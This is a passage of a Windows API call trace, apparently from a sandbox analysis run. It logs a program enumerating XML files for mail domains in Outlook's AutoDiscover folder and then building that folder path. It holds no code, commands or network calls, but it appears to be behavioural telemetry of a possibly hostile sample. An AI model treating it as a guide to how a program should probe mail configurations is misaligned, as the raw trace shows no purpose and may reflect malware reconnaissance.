lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0066.349] CloseHandle (hObject=0x8c) returned 1 [0066.349] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="BTINTERNET.NET.XML", cAlternateFileName="BTINTE~1.XML")) returned 1 [0066.349] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.350] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x51b201b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x780074, dwReserved1=0x74, cFileName="BTOPENWORLD.COM.XML", cAlternateFileName="BTOPEN~1.XML")) returned 1 [0066.350] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.350] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x52837ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x780074, dwReserved1=0x74, cFileName="FLASH.NET.XML", cAlternateFileName="FLASHN~1.XML")) returned 1 [0066.350] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.350] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6a513ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x780074, dwReserved1=0x74, cFileName="NL.ROGERS.COM.XML", cAlternateFileName="NLROGE~1.XML")) returned 1 [0066.350] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.350] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x780074, dwReserved1=0x74, cFileName="NVBELL.NET.XML", cAlternateFileName="NVBELL~1.XML")) returned 1 [0066.350] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.351] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x780074, dwReserved1=0x74, cFileName="PACBELL.NET.XML", cAlternateFileName="PACBEL~1.XML")) returned 1 [0066.351] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.351] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x780074, dwReserved1=0x74, cFileName="PRODIGY.NET.XML", cAlternateFileName="PRODIG~1.XML")) returned 1 [0066.351] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.351] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x780074, dwReserved1=0x74, cFileName="ROGERS.COM.XML", cAlternateFileName="ROGERS~1.XML")) returned 1 [0066.351] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.351] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0x780074, dwReserved1=0x74, cFileName="SBCGLOBAL.NET.XML", cAlternateFileName="SBCGLO~1.XML")) returned 1 [0066.352] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.352] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x780074, dwReserved1=0x74, cFileName="SNET.NET.XML", cAlternateFileName="SNETNE~1.XML")) returned 1 [0066.352] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.352] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x780074, dwReserved1=0x74, cFileName="SWBELL.NET.XML", cAlternateFileName="SWBELL~1.XML")) returned 1 [0066.352] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.352] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x780074, dwReserved1=0x74, cFileName="TALK21.COM.XML", cAlternateFileName="TALK21~1.XML")) returned 1 [0066.352] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.352] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x780074, dwReserved1=0x74, cFileName="WANS.NET.XML", cAlternateFileName="WANSNE~1.XML")) returned 1 [0066.353] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.353] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.CA.XML", cAlternateFileName="YAHOOC~2.XML")) returned 1 [0066.353] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.353] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c79650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.CO.ID.XML", cAlternateFileName="YA6C44~1.XML")) returned 1 [0066.353] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.353] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.CO.IN.XML", cAlternateFileName="YA8E91~1.XML")) returned 1 [0066.353] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.353] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a900, ftCreationTime.dwHighDateTime=0x1c6ea7d, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a900, ftLastWriteTime.dwHighDateTime=0x1c6ea7d, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.CO.JP.XML", cAlternateFileName="YAHOOC~3.XML")) returned 1 [0066.354] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.354] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c79650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.CO.KR.XML", cAlternateFileName="YAEF96~1.XML")) returned 1 [0066.354] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.354] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.CO.NZ.XML", cAlternateFileName="YA186B~1.XML")) returned 1 [0066.354] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.354] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.CO.TH.XML", cAlternateFileName="YACB7D~1.XML")) returned 1 [0066.355] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.355] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.CO.UK.XML", cAlternateFileName="YAE791~1.XML")) returned 1 [0066.355] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.355] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.COM.AR.XML", cAlternateFileName="YA81CD~1.XML")) returned 1 [0066.355] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.355] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.COM.AU.XML", cAlternateFileName="YA02CD~1.XML")) returned 1 [0066.356] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.356] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.COM.BR.XML", cAlternateFileName="YAHOOC~1.XML")) returned 1 [0066.356] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.356] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.COM.CN.XML", cAlternateFileName="YAHOOC~4.XML")) returned 1 [0066.356] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.356] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.COM.HK.XML", cAlternateFileName="YA56AC~1.XML")) returned 1 [0066.356] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.357] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.COM.MX.XML", cAlternateFileName="YAEA08~1.XML")) returned 1 [0066.357] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.357] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.COM.MY.XML", cAlternateFileName="YA0670~1.XML")) returned 1 [0066.357] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.357] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.COM.PH.XML", cAlternateFileName="YA6D1B~1.XML")) returned 1 [0066.357] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.358] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.COM.SG.XML", cAlternateFileName="YAC50A~1.XML")) returned 1 [0066.358] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.358] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.COM.TW.XML", cAlternateFileName="YAB0F6~1.XML")) returned 1 [0066.358] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.359] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.COM.VN.XML", cAlternateFileName="YA38FD~1.XML")) returned 1 [0066.359] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.359] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.COM.XML", cAlternateFileName="YA531A~1.XML")) returned 1 [0066.359] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.359] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.DE.XML", cAlternateFileName="YAHOOD~1.XML")) returned 1 [0066.359] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.360] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0066.360] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: pszPath="C:\\Program Files\\Microsoft 